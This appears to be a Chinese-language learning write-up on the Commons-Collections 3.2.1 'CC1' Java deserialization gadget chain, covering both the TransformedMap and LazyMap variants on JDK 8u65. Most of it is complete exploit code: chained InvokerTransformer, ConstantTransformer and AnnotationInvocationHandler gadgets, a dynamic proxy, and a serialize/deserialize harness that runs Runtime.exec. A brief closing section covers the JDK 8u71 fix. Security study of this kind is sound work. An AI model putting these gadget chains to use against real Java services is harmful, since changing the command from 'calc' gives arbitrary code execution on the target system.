Java_Commons-Collections 1 学习过程

环境配置

环境配置

配置过程

新建一个项目然后将JDK换成8u65

image-20240310164936069

然后再pom里添加依赖

 <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
 </dependency>

然后import 一下cc的包成功就是配置好了

import org.apache.commons.collections.functors.InvokerTransformer;

然后我们还要做一件事,修改 sun 包。

因为我们打开源码,很多地方的文件是 .class 文件,是已经编译完了的文件,都是反编译代码,我们很难读懂,所以需要把它转换为 .java 文件。

openJDK 8u65 ———— 去到这个下载链接,点击 zip

image-20240310170256242

下载完后解压然后再把8u65里的src.zip解压然后将jdk-af660750b2f4\jdk-af660750b2f4\src\share\classes路径下的sun文件夹放在8u65里的src中

image-20240310170526079

然后再把这个src导入到idea中

image-20240311153033313

注:可能会遇到乱七八糟的报错,可以查查,我中间遇到一直无法找到类最后把所有路径都不包含中文就好了

Common-Collections 相关介绍

闪烁之狐大佬说的很清楚

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

  • 简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。

包结构介绍

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类

  • org.apache.commons.collections.bag – 实现Bag接口的一组类

  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类

  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类

  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类

  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类

  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类

  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类

  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类

  • org.apache.commons.collections.list – 实现java.util.List接口的一组类

  • org.apache.commons.collections.map – 实现Map系列接口的一组类

  • org.apache.commons.collections.set – 实现Set系列接口的一组类

TransformMap版CC1攻击链分析

我的习惯看反序列化就是从尾部开始看然后向前推,这样感觉更有思路一点

CC1链子的源头就是CC库中的Transformer接口里面有个transform方法,通过实现此接口来达到类型转换的目的

crtl+alt+b找到InvokerTransformer类,就是我们最终执行命令的地方

第一部分

image-20240311153147835

可以看到这里的transform方法存在反射调用任意的方法并且执行

image-20240311153208744

先不考虑参数是否可控,先试试假如可控是否能达到我们的目的,编写一个小demo

package org.cc1.com;
​
import org.apache.commons.collections.FunctorException;
​
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;
​
public class Test {
​
​
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime runtime = Runtime.getRuntime();
        Class cls = runtime.getClass();
//        System.out.println(cls.getName());
        Method method = cls.getMethod("exec", String.class);
        method.invoke(runtime, "calc.exe");
        }
    }
​

发现雀实可以弹出计算器

可以发现通过该类的构造函数就可以控制参数了

image-20240325170052285

父类方法就是接受一个输入,所以我们就利用有参构造函数来构造EXP

因为是public所以用不到反射

package org.cc1.com;
​
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
​
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
​
public class Test {
​
​
    public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        invokerTransformer.transform(runtime);
    }
    }
​

写好所需要的参数,然后再触发方法

image-20240325170758030

这样链子的尾部就找好了,然后一层一层向上找,找到谁调用了transformer方法,一直找到可以重写的readObject方法接收任意对象作为参数

image-20240325171348555

右键查找用法

image-20240325171456660

第二部分

这里有两个类对应着两种CC1的打法,先看看TransformedMap

其中 TransformedMap类中存在 checkSetValue()方法调用了 transform()方法。

image-20240325171935571

看看这个valueTransformer是怎么个事

image-20240325172248895

image-20240325172257541

源赖似小TransformedMap的构造函数,但是它是protected类型的我们动不了它

但是向上翻翻发现有个decorate静态方法中给我们返回了TransformedMap对象

到这我们延长我们写的链子试试

package org.cc1.com;
​
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
​
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
​
public class Test {
​
​
    public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        Map map = new HashMap<>();
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null,invokerTransformer);
        Method method = transformedMap.getClass().getDeclaredMethod("checkSetValue", Object.class);
        method.setAccessible(true);
        method.invoke(transformedMap,runtime);
    }
    }
​

手写链子能让链子构造的思路更清晰一点

思路:

通过decorate方法获得TransformedMap的实例,然后再通过反射获取到checkSetValue方法最终调用到了transform方法

其中讲valueTransformer赋值我们构造的InvokerTransformer实例就相当于最终构造出了InvokerTransformer.tansform

image-20240325182640834

然后老样子继续查找用法看看谁调用checkSetValue

image-20240325183040718

发现只有 AbstractInputCheckedMapDecorator 调用了checkSetValue。而且它是 TransformedMap 的父类

setValue()实际上就是在 Map 中对一组 entry(键值对)进行 setValue()操作。

image-20240325183513539

一直往上跟可以跟到这个位置

image-20240325183742709

image-20240325183747676

所以,我们在进行 .decorate 方法调用,进行 Map 遍历的时候,就会走到 setValue()当中,而 setValue()就会调用 checkSetValue

编写一下poc试试

package org.cc1.com;
​
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
​
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
​
public class Test {
​
​
    public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        Map map = new HashMap<>();
        map.put("nbc","nbc");
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null,invokerTransformer);
        for (Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(runtime);
        }
//        Method method = transformedMap.getClass().getDeclaredMethod("checkSetValue", Object.class);
//        method.setAccessible(true);
//        method.invoke(transformedMap,runtime);
    }
    }
​

发现这样是错的

image-20240325184051943

因为是对Map遍历,而decorate也是Map类型的

image-20240325184241393

所以我们的Poc是可以改出来的

package org.cc1.com;
​
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
​
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
​
public class Test {
​
​
    public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        Map map = new HashMap<>();
        map.put("nbc","nbc");//给map一个键值对,方便遍历
//        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null,invokerTransformer);
        Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,invokerTransformer);
        for (Map.Entry entry:decorateTransformed.entrySet()){
            entry.setValue(runtime);
        }
​
    }
    }
​

注:Map<Object, Object>是为了与返回的对象类型匹配

打个断点看看是不是跳进来了

image-20240325184939913

发现是没错的

思路是

流程就是我们遍历 transformedmap 的时候用的是 entrySet() , 来自于 transformedmap 父类的 entrySet() ,然后就会进入其父类的副类 MapEntry 下的 构造方法,使每个 entry 这里就是 “nbc”->“nbc” 进入 AbstractMapEntryDecorator 的构造方法也就是 MapEntry 的父类,AbstractMapEntryDecorator 又引入了 Map.Entry 接口,所以可以通过遍历调用 setValue 方法,恰巧 MapEntry 重写了这个方法。而这个重写的方法正好调用了 checkSetValue

形成闭环

到此处,我们的攻击思路出来了,找到一个是数组的入口类,遍历这个数组,并执行 setValue方法,即可构造 poc。

就是如何遍历一个Map最终执行 setValue()方法

如果能找到一个 readObject()里面调用了 setValue()那就是很巧又完美

上面都巧这也可以巧

image-20240325222407446

第三部分

这可以说是很重要的一部了,好把没有不重要的就是找readObject入口

右键setValue查找用法

image-20240325195057424

找到了并且调用了setValue方法

image-20240325195150082

readObject 的方法是类 AnnotationInvocationHandler的,AnnotationInvocationHandler的作用域为 default,我们需要通过反射的方式来获取这个类及其构造函数,再实例化它。

我们先不管这个setValue怎么长的不是很友善,这两个if是干什么的,我们就假设在处于理想状态然后先写一个理想化的poc然后慢慢改

AnnotationInvocationHandler的构造函数

image-20240325200027126

接受一个注解型的,第二个是个 Map 型的,而且这个 memberValues 会被拿去遍历

package org.cc1.com;
​
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
​
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
​
public class Test {
​
​
    public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        Map map = new HashMap<>();
        map.put("nbc","nbc");
//        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null,invokerTransformer);
        Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,invokerTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Override.class, decorateTransformed);
//        for (Map.Entry entry:decorateTransformed.entrySet()){
//            entry.setValue(runtime);
//        }
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
​

三个问题

当然是没有任何反应的,因为还有三个条件我们忽略了

  • Runtime对象不可序列化,需要通过反射将其变成可以序列化的形式。

  • 解决两个 if 判断

  • setValue()的传参,是需要传 Runtime对象的;而在实际情况当中的 setValue()的传参是这一坨

image-20240325201911431

第一个问题

解决Runtime对象不可序列化

运用反射

先写个正常的反射

package org.cc1.com;
​
import java.io.File;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
​
public class RuntimeTestExp {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class r = Runtime.class;
        Method runtimeMethod = r.getMethod("getRuntime");
        Runtime runtime = (Runtime) runtimeMethod.invoke(null,null);
        Method method = r.getMethod("exec", String.class);
        method.invoke(runtime,"calc");
    }
}
​

然后就突然想起来我们最开始的时候InvokerTransformer不是带反射,那么我们就可以构造成InvokerTransformer调用的方式

就是这样

package org.cc1.com;
​
import org.apache.commons.collections.functors.InvokerTransformer;
​
import java.io.File;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
​
public class RuntimeTestExp {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
//        Class r = Runtime.class;
//        Method runtimeMethod = r.getMethod("getRuntime");
//        Runtime runtime = (Runtime) runtimeMethod.invoke(null,null);
//        Method method = r.getMethod("exec", String.class);
//        method.invoke(runtime,"calc");
        
​
        Class r = Runtime.class;
        Method getruntimeMethod = (Method) new InvokerTransformer("getMethod",new  Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(r);
        Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
    }
}
​

可以发现个规律

  • 格式都为 new InvokerTransformer().invoke()

  • 后一个 invoke() 方法里的参数都是前一个的结果

这里正好有个类ChainedTransformer

image-20240325204623363

就是传入的Transformer类型的数组然后递归调用,然后前一个的结果正好是后一个的参数

按照这个思路构造一下

package org.cc1.com;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
​
import java.io.File;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
​
public class RuntimeTestExp {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
//        Class r = Runtime.class;
//        Method getruntimeMethod = (Method) new InvokerTransformer("getMethod",new  Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(r);
//        Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
//        new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
​
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);
    }
}
​

替换掉最开始理想poc的Runtime部分

package org.cc1.com;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
​
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
​
public class TransformMapExp
{
    public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap<>();
        map.put("nbc","nbc");
        Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Override.class, decorateTransformed);
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
​
第二个问题

绕过两个 if

第一if

image-20240325210747760

看看这个memberValue是干什么的

image-20240325210920983

获取传参注解方法,我们没过说明传的那个注解是null

image-20240325211239833

换一个

image-20240325211540786

有成员变量value而第二个if要求map.put的第一个参数相等所以改一下

package org.cc1.com;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
​
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
​
public class TransformMapExp
{
    public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap<>();
        map.put("value","nbc");
        Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Target.class, decorateTransformed);
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
​

打个断点看看

image-20240325211859892

过了但是还是不弹计算器

第三个问题

image-20240325212054572

发现 setValue() 处中的参数并不可控,而是指定了 AnnotationTypeMismatchExceptionProxy 类,是无法进行命令执行的。

image-20240325215057523

value的值不是我们需要的 Runtime.class

我们需要找到一个类,能够可控 setValue 的参数

找到了一个能够解决 setValue可控参数的类 ———— ConstantTransformer

image-20240325212338512

  • 构造方法:传入的任何对象都放在 iConstant中

  • transform()方法:无论传入什么,都返回 iConstant,这就类似于一个常量了。

那么我们可以利用这一点,将 AnnotationTypeMismatchExceptionProxy类作为 transform()方法的参数,也就是这个无关的类,作为参数,我们先传入一个 Runtime.class,然后无论 transform() 方法会调用什么对象,都会返回 Runtime.class

这点说起来很抽象最好是手动跟一下过程

image-20240325221257820

image-20240325221311824

所以在最后调用.transform的时候,因为ConstantTransformer的构造变成了Runtime.class

image-20240325221427099

image-20240325221751202

上面还不是Runtime,调用下transform就返回了Runtime了

image-20240325221812850

完事!

最终无敌TransformMapExp

package org.cc1.com;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
​
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
​
public class TransformMapExp
{
    public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object,Object> map = new HashMap<>();
        map.put("value","nbc");
        Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Target.class, decorateTransformed);
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
​

image-20240325222048645

流程图

image-20240325223429883

利用链:
InvokerTransformer#transform
    TransformedMap#checkSetValue
        AbstractInputCheckedMapDecorator#setValue
            AnnotationInvocationHandler#readObject
使用到的工具类辅助利用链:
ConstantTransformer
ChainedTransformer
Map

LazyMap版CC1攻击链分析

第一部分

最终执行命令的地方其实是一样的同TransformMap

第二部分

主要还是那个分叉口开始

image-20240325171456660

这次看LazyMap

image-20240326194823090

看看factory是什么

image-20240326194955646

image-20240326195013380

熟悉的decorate帮助我们创建一个LazyMap实例并且控制factory

到这里试试这个想法行不行

package org.cc1.com;
​
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
​
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
​
public class Test {
​
​
    public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
                Runtime runtime = Runtime.getRuntime();
                InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
                Map map = new HashMap<>();
                Map decorateLazyMap = LazyMap.decorate(map,invokerTransformer);
                decorateLazyMap.get(runtime);
​
    }
​
}
​

image-20240326195714642

看来是没问题的那就继续向上找,看看有没有调用get的时候还有readObject

AnnotationInvocationHandler.invoke()中发现了可以满足我们需求

image-20240326200322698

需要触发 invoke方法,一个类被动态代理了之后,再想要通过代理调用这个类的方法就会调用 invoke()方法。

readObject中发现了

在这里调用了 entrySet()方法,也就是说,如果我们将 memberValues的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke() 方法,最终完成整条链子的调用。

我们发现AnnotationInvocationHandler中实现了InvocationHandler于是可以使用动态代理的方法

我们如果将AnnotationInvocationHandler对象用Proxy进行动态代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler.invoke方法中,进而触发我们的LazyMap.get方法

image-20240327152012030

package org.cc1.com;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
​
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
​
public class LazyMapExp {
public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
​
        Class Ann = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = Ann.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        //创建第一个来触发LazyMap.get
        InvocationHandler invocationHandler1 = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
        //给它设置动态代理
        Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler1);
        //用来触发invoke
        InvocationHandler invocationHandler2 = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
​
        serialize(invocationHandler2);
        unserialize("ser.bin");
        }
public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
        }
        }

image-20240327152802511

流程图

image-20240327153507204

调用链 
    InvokeTransformer#transform
        LazyMap#get
            AnnotationInvocationHandler#readObject
            
​
辅助链
ChainedTransformer
ConstantTransformer
HashMap
Map(Proxy)#entrySet

修复手段

官方这里的推荐修复方法是将 jdk 版本提升至 jdk8u71

对于 TransformerMap 版的 CC1 链子

对于 TransformerMap 版的 CC1 链子来说,jdk8u71 及以后的版本没有了能调用 ReadObjectsetValue() 方法的地方。

对于LazyMap版的CC1链子

因为在8u71之后的版本反序列化不再通过defaultReadObject方式,而是通过readFields来获取几个特定的属性,defaultReadObject可以恢复对象本身的类属性,比如this.memberValues就能恢复成我们原本设置的恶意类,但通过readFields方式,this.memberValues 就为null,所以后续执行get()就必然没发触发,这也就是高版本不能使用的原因

参考文章

Drunkbaby

Java安全之反序列化篇-URLDNS&Commons Collections 1-7反序列化链分析

java反序列化从0到cc1

JavaSec 基础之 CC1 链-CSDN博客